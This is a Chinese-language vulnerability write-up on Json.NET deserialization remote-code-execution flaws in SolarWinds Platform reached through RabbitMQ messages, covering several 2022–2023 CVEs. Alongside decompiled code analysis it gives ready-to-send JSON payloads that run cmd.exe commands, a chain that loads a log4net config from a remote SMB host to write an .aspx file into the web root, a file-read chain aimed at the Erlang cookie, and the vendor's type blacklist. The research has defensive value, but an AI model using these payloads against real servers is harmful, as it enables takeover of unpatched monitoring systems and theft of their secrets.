SolarWinds json反序列化导致的多个RCE

这系列漏洞都是基于Json.net的反序列化:

  • 三方组件自定义不安全的反序列化RCE(CVE-2022-38108)
  • JsonConverter自定义不安全反序列化RCE(CVE-2022-36957)
  • 挖掘适用于Json的TextFormattingRunProperties利用链RCE(CVE-2022-38111)
  • 利用Json特性挖掘适用于solarwinds的利用链RCE(CVE-2022-47503、CVE-2022-47507、CVE-2023-23836、CVE-2022-36957) 最后通过这些漏洞拓展了挖掘Json.net反序列化的思路。

配置rabbitmq用户,默认用户orion:

bash

 rabbitmqctl.bat add_user admin admin
 rabbitmqctl.bat set_permissions admin .* .* .*
 rabbitmqctl.bat set_user_tags admin administrator

对比diff很明显的反序列化,修复是通过黑名单方式修复

通过 RabbitMQ 发送到 Solarwinds(SWIS) 的消息内容包含 Json.NET 序列化对象,solarwinds反序列化Json数据时TypeNameHandling设置为Auto,并且未配置类型校验导致RCE,借用chudyPB的一张图

对EasyNetQ来说,反序列化器可以自定义或者使用自带的比如NewtonsoftJsonSerializer,反序列化器会在初始化连接的时候进行注册,如

text

IBus bus = null;
string connString = "host=192.168.45.142:5672;virtualHost=/;username=admin;password=admin";
// serviceRegister 需要自定义反序列化器需要实现ISerializer接口
bus = RabbitHutch.CreateBus(connString, serviceRegister =>
{
    serviceRegister.Register<ISerializer>(resolver =>
        new CustomSerializer());
});

全局搜索找到Solarwinds注册的反序列化器为EasyNetQSerializer

text

//SolarWinds.MessageBus.RabbitMQ.EasyNetQueueConnection
this._bus = RabbitHutch.CreateBus(connectionConfiguration, delegate(IServiceRegister x)
{
	x.Register<ISerializer, EasyNetQSerializer>(Lifetime.Singleton);
});

在EasyNetQ.RabbitAdvancedBus.Consume()打个断点,向RabbitMQ(routing_key=‘SwisPubSub’)发送消息时,会将二进制数据交给EasyNetQ处理进行反序列化的操作。

并且可以看到此时反序列化器为EasyNetQSerializer。 DeserializeMessage方法有两个参数properties和body,properties中包含了反序列化格式和类型,body的内容包括了我们发送的json数据如下:

跟进DeserializeMessage方法,实现如下

text

public IMessage DeserializeMessage(MessageProperties properties, byte[] body)
{
  //拿到消息属性中的type
	Type messageType = this.typeNameSerializer.DeSerialize(properties.Type);
	//反序列化body
	object body2 = this.serializer.BytesToMessage(messageType, body);
	return MessageFactory.CreateInstance(messageType, body2, properties);
} 

这里会提取properties中的Type,当作反序列化后的类型,可控。 继续跟进,很明显的反序列化

放个三月份的截图

注册ContracResolver使用黑名单列表拦截。

text

"System.Diagnostics.Process",
"System.Diagnostics.ProcessStartInfo",
"System.Data.Services.Internal.ExpandedWrapper",
"System.Workflow.ComponentModel.AppSettings",
"Microsoft.PowerShell.Editor",
"System.Windows.Forms.AxHost.State",
"System.Security.Claims.ClaimsIdentity",
"System.Security.Claims.ClaimsPrincipal",
"System.Runtime.Remoting.ObjRef",
"System.Drawing.Design.ToolboxItemContainer",
"System.DelegateSerializationHolder",
"System.DelegateSerializationHolder+DelegateEntry",
"System.Activities.Presentation.WorkflowDesigner",
"System.Windows.ResourceDictionary",
"System.Windows.Data.ObjectDataProvider",
"System.Windows.Forms.BindingSource",
"Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider",
"System.Management.Automation.PSObject",
"System.Configuration.Install.AssemblyInstaller",
"System.Security.Principal.WindowsIdentity",
"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector",
"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef",
"System.Web.Security.RolePrincipal",
"System.IdentityModel.Tokens.SessionSecurityToken",
"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem",
"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity",
"System.Security.Principal.WindowsPrincipal"

影响版本 SolarWinds Platform 2022.4.1,至此以后的版本都添加了白名单。

最近chudyPB更新了ysoserial,包括适用于Json.net的新链。

JSON.NET 特性

  • 构造函数选择机制
  1. 查找[JsonConstructorAttribute]特性的constrcutor
  2. 查找不接受参数的公共构造函数
  3. 查找是否具有带参数的单个构造函数
  4. 最后检查对于非公共默认构造函数(ConstructorHandling = ConstructorHandling.AllowNonPublicDefaultConstructor)
  • 序列化机制
  1. Json.NET可以调用类的无参公共构造函数并调用其公共setter
  2. 可序列化的构造函数(带有 SerializationInfo 和StreamingContext 参数)和SerializationCallbacks

BinaryFormatter_TextFormattingRunProperties链子原理见BinaryFormatter.md

调用链:TextFormattingRunProperties构造函数->GetObjectFromSerializationInfo()–>XamlReader.Parse(@string),BinaryFormatter的exp是通过重写构造函数将ForegroundBrush的值插入SerializationInfo中,最后触发RCE。

Newtonsoft???

跟踪其反序列化的过程,在JsonSerializerInternalReader#CreateISerializable中也会将值插入到SerializationInfo中,最后触发RCE,代码如下:

适用于Json.net的TextFormattingRunProperties链

text

{"$type":"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ForegroundBrush":"<ResourceDictionary
xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"
xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"
xmlns:System=\"clr-namespace:System;assembly=mscorlib\"
xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\">
    <ObjectDataProvider x:Key=\"LaunchCalch\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>"}

从而绕过黑名单。

和CVE-2022-38108入口点一样,对比diff在PropertyBagJsonConverter新增新增黑名单

看看具体是如何实现的

text

//SolarWinds.MessageBus.Models.PropertyBagJsonConverter
//自定义反序列化过程ReadJson
public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer)
{
	if (reader.TokenType == JsonToken.Null)
	{
		return null;
	}
	if (reader.TokenType == JsonToken.StartObject)
	{
		PropertyBag propertyBag = new PropertyBag();
		foreach (JProperty jproperty in JObject.Load(reader).Properties())
		{
			object value;
			if (jproperty.Value.Type == JTokenType.Null)
			{
				value = null;
			}
			else
			{
				JObject jobject = (JObject)jproperty.Value;
				Type type = Type.GetType((string)jobject["t"]);
				value = jobject["v"].ToObject(type, serializer);
			}
			propertyBag[jproperty.Name] = value;
		}
		return propertyBag;
	}
	throw new InvalidOperationException(string.Format("Unexpected json token type {0}", reader.TokenType));
}

t和v均可控,现在就要考虑如何调用到这。该类继承了JsonConverter实现了自定义的反序列化器,具体用法参考CustomJsonConverter.htm

存在以下两种情况:

  1. JsonSerializerSettings中注册了PropertyBagJsonConverter(没找到)
  2. 找到使用了PropertyBagJsonConverter特性的类反序列化的点即类标记[JsonConverter(typeof(PropertyBagJsonConverter))]

第二种情况找到了SolarWinds.MessageBus.Models.PropertyBag类,只需要向rabbitmq发送type为SolarWinds.MessageBus.Models.PropertyBag, SolarWinds.MessageBus的json数据,最终就能调用到SolarWinds.MessageBus.Models.PropertyBagJsonConverter#Readjson触发发序列化,payload

text

    "payload": {
        "t": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
        "v": {
            "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
            "MethodName": "Start",
            "MethodParameters": {
                "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "$values": ["cmd", "/c whoami > c:\\PropertyBag.txt"]
            },
            "ObjectInstance": {
                "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
            }
        }
    }
}

影响版本 SolarWinds Platform 2022.4.1

漏洞作者找了一条适用于solarwinds的利用链WorkerControllerWCFProxy_RCE

主要代码如下:

text

    //SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine
	internal class WorkerControllerWCFProxy : IWorkerControllerProxy, IWorkerControllerService, IDisposable
	{
		public event EventHandler WorkerControllerTerminated;
		//静态无参构造函数
		static WorkerControllerWCFProxy()
		{
			ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback((object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => true));
		}
        //公开的、唯一的有参构造函数,Json.net会调用
		public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)
		{
			this.workerConfiguration = workerConfiguration;
			this.operationMode = operationMode;
			this.workerProcessLabel = workerProcessLabel;
			this.uri = this.LaunchWorkerProcess();
			this.Connect();
		}
		........
		// 返回ProcessStartInfo,进程路径和参数来自this.workerConfiguration,可控
		private ProcessStartInfo CreateCustomWorkerProcessStartInfo()
		{
			int availablePort = NetworkHelper.GetAvailablePort(JobEngineSettings.GetSection().MinCustomWorkerPortNumber, JobEngineSettings.GetSection().MaxCustomWorkerPortNumber);
			if (availablePort <= 0)
			{
				throw new Exception("Unable to get free port for worker process");
			}
			this.Port = (ushort)availablePort;
			string text = string.Format("{0} -port {1} -id {2} -ppid {3}", new object[]
			{
				this.workerConfiguration.CommandArguments,
				this.Port,
				this.id,
				Process.GetCurrentProcess().Id
			});
			string text2 = Path.Combine(this.pluginDirectory.Value, this.workerConfiguration.CommandLine);
			if (WorkerControllerWCFProxy.log.IsDebugEnabled)
			{
				WorkerControllerWCFProxy.log.DebugFormat("Custom worker commandline: {0} {1}", text2, text);
			}
			return new ProcessStartInfo(text2)
			{
				Arguments = text,
				WorkingDirectory = this.pluginDirectory.Value
			};
		}

		........
		// 构造函数中调用,当WorkerType等于Custom会调用CreateCustomWorkerProcessStartInfo,workerType来自workerConfiguration
		private Uri LaunchWorkerProcess()
		{
			WorkerType workerType = this.workerConfiguration.WorkerType;
			ProcessStartInfo processStartInfo;
			if (workerType != WorkerType.Native)
			{
				if (workerType != WorkerType.Custom)
				{
					throw new ArgumentOutOfRangeException();
				}
				WorkerControllerWCFProxy.log.Debug("Launching Custom Worker Process");
				processStartInfo = this.CreateCustomWorkerProcessStartInfo();
			}
			else
			{
				WorkerControllerWCFProxy.log.Debug("Launching Native Worker Process");
				processStartInfo = this.CreateNativeWorkerProcessStartInfo();
			}
			processStartInfo.UseShellExecute = false;
			Uri result = null;
			using (EventWaitHandle eventWaitHandle = new EventWaitHandle(false, EventResetMode.ManualReset, WorkerSynchronizationHelper.GetWorkerProcessWaitHandleName(this.id.ToString())))
			{
				this.process = Process.Start(processStartInfo);
				this.ProcessId = this.process.Id;
				while (!eventWaitHandle.WaitOne(10, false))
				{
					if (this.process.WaitForExit(0))
					{
						throw new Exception("Failure starting worker process");
					}
				}
			}
			if (this.workerConfiguration.WorkerType == WorkerType.Native)
			{
				result = WorkerAddressDirectory.GetWorkerAddress(this.id);
			}
			if (WorkerControllerWCFProxy.log.IsInfoEnabled)
			{
				WorkerControllerWCFProxy.log.InfoFormat("Started new worker process with pid {0}", this.ProcessId);
			}
			return result;
		}

该类有一个LaunchWorkerProcess方法能够启动一个新的进程,所有参数来自workerConfiguration类中WorkerType、CommandLine、CommandArguments

上面说了Json.net的反序列化特性,当反序列化该类时会调用唯一有参构造函数,并且能够向构造函数传入参数。

text

	public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)
	{
		this.workerConfiguration = workerConfiguration;
		this.operationMode = operationMode;
		this.workerProcessLabel = workerProcessLabel;
		this.uri = this.LaunchWorkerProcess();
		this.Connect();
	}

所以重点关注WorkerConfiguration类中的几个参数是否可控

显而易见public and setter,poc

text

{
    "$type": "SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
    "workerConfiguration": {
    "$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
    "WorkerType": 1,
    "CommandLine":
   "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe",
    "CommandArguments": "/c whoami > C:\\poc.txt & "
    },
    "operationMode": 0,
    "workerProcessLabel": "whatever"
   }

关键类是WorkerProcessWCFProxy,实现如下

text

    //SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy
	internal class WorkerProcessWCFProxy : WorkerProcessProxyBase, IWorkerProcessProxyWithShadowCacheCleanup, IWorkerProcessProxy, IJobExecutionEngine, IDisposable
	{
		public WorkerProcessWCFProxy(int maxConcurrentJobs, string assemblyName, WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode)
		{
			this.maxConcurrentJobs = maxConcurrentJobs;
			this.assemblyName = assemblyName;
			this.operationMode = operationMode;
			this.workerConfiguration = workerConfiguration;
			try
			{
				this.CreateWorkerController();
				this.LaunchWorker();
				this.Connect();
			}
			catch (Exception)
			{
				this.Terminate();
				throw;
			}
		}
        ......
        // 这里直接调用上面的WorkerControllerWCFProxy类,可RCE
		private void CreateWorkerController()
		{
			this.workerController = new WorkerControllerWCFProxy(this.workerConfiguration, this.operationMode, this.assemblyName);
		}

CreateWorkerController方法调用了WorkerControllerWCFProxy,补全构造函数就行。

text

{
 "$type": "SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
 "maxConcurrentJobs": 5,
 "workerConfiguration": {
 "$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
 "WorkerType": 1,
 "CommandLine": "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe",
 "CommandArguments": "/c calc.exe & "
 },
 "operationMode": 0,
 "assemblyName": "whatever"
}

利用类是CredentialInitializer

text

[Serializable]
	public class CredentialInitializer
	{
	//公共唯一构造函数
		public CredentialInitializer(string logConfigFile)
		{
			try
			{
				this.ConfigureLog(logConfigFile);
				this.InstallCertificate();
				this.ConvertCredentials();
				this.ConvertOldSnmpv3Credentials();
			}
			catch (Exception exception)
			{
				CredentialInitializer.log.Error("Error occurred when trying to initialize shared credentials", exception);
				throw;
			}
		}
        //加载配置
		private void ConfigureLog(string configFile)
		{
			if (string.IsNullOrEmpty(configFile))
			{
				Log.Configure(string.Empty);
			}
			else
			{
				Log.Configure(configFile);
			}
			CredentialInitializer.log.DebugFormat("Used log configuration file: {0}", configFile);
		}
		
// SolarWinds.Logging.Log
.......
// 提取log4net标签并加载配置
public static void Configure(string configFile = null)
{
	foreach (string text in Log.EnumFile(configFile))
	{
		if (!string.IsNullOrEmpty(text))
		{
			FileInfo fileInfo = new FileInfo(text);
			if (fileInfo.Exists)
			{
				HashSet<string> configurations = Log._configurations;
				lock (configurations)
				{
					if (Log._configurations.Contains(fileInfo.FullName))
					{
						continue;
					}
				}
				try
				{
					XmlDocument xmlDocument = new XmlDocument();
					xmlDocument.Load(fileInfo.FullName);
					XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("log4net");
					if (elementsByTagName != null && elementsByTagName.Count > 0)
					{
						configurations = Log._configurations;
						lock (configurations)
						{
							if (!Log._configurations.Contains(fileInfo.FullName))
							{
								XmlConfigurator.ConfigureAndWatch(fileInfo);
								Log._configurations.Add(fileInfo.FullName);
							}
						}
					}
				}
				catch
				{
				}
			}
		}
	}
}

利用log4net日志功能写入文件,原配置文件在C:\Program Files\SolarWinds\Orion\SolarWinds.Cortex.log4net.config,这里是log4net的示例

这里利用需要修改两处配置:

text

// 修改RollingLogFileAppender
  <appender name="RollingLogFileAppender" type="log4net.Appender.RollingFileAppender">
    <file value="C:\inetpub\wwwroot\poc.aspx" type="log4net.Util.PatternString" />
    <encoding value="utf-8" />
    <appendToFile value="false" />
    <rollingStyle value="Size" />
    <maxSizeRollBackups value="5" />
    <maximumFileSize value="10MB" />
    <layout type="log4net.Layout.PatternLayout">
      <header type="log4net.Util.PatternString" value="hackhack" />
      <conversionPattern value="" />
    </layout>
  </appender>
// 新增logger
 <logger name="SolarWinds.IPAM.Storage.Credentials.CredentialInitializer">
 <level value="DEBUG"></level>
 </logger>

poc

text

//写文件
{
"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null",
"logConfigFile":"\\\\192.168.1.10\\x.config"
}

//恢复配置
{
"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null",
"logConfigFile":"C:\\Program Files\\SolarWinds\\Orion\\SolarWinds.Cortex.log4net.config"
}

发送payload最终生成文件。

利用类在SqlFileScript

text

namespace SolarWinds.Database.Setup.Internals
{
	[ComVisible(false)]
	internal class SqlFileScript : SqlScript
	{
		public SqlFileScript(FileInfo scriptFile) : base(scriptFile.FullName, null)
		{
			this.scriptFile = scriptFile;
		}
    //getter
		public override string Contents
		{
			get
			{
				string result;
				if ((result = this.contents) == null)
				{
					result = (this.contents = File.ReadAllText(this.scriptFile.FullName));
				}
				return result;
			}
		}
		private volatile string contents;
		private readonly FileInfo scriptFile;
	}
}

与前面几个CVE不同的是,触发漏洞是在序列化触发的。如上代码文件读的过程是在序列化过程调用getter触发的,攻击流程是发送恶意数据触发反序列化SqlFileScript类,服务端序列化消息发送给RabbitMq,攻击者通过读取队列消息拿到文件内容,利用读取到的.erlang.cookie的值通过erl执行命令。

参考CVE-2022-36957,最终漏洞利用是通过不安全的序列化(call getter)导致的,实际场景中少有类似利用链:unsafe deserialization(setter) --> Object --> unsafe serialization(getter)--> RCE,更多的是直接反序列化RCE,相当于Sink只有反序列化链或恶意setter,@chudyPB的新思路拓展了新的攻击面,寻找某些setter中调用任意getter:unsafe deserialization(setter)--> 任意getter -->RCE,由此诞生了很多新链子,具体见ysoserial.net

Newtonsoft Rabbitmq-AMQP协议 EasyNetQ自定义序列化消息 whitepaper-net-deser.pdf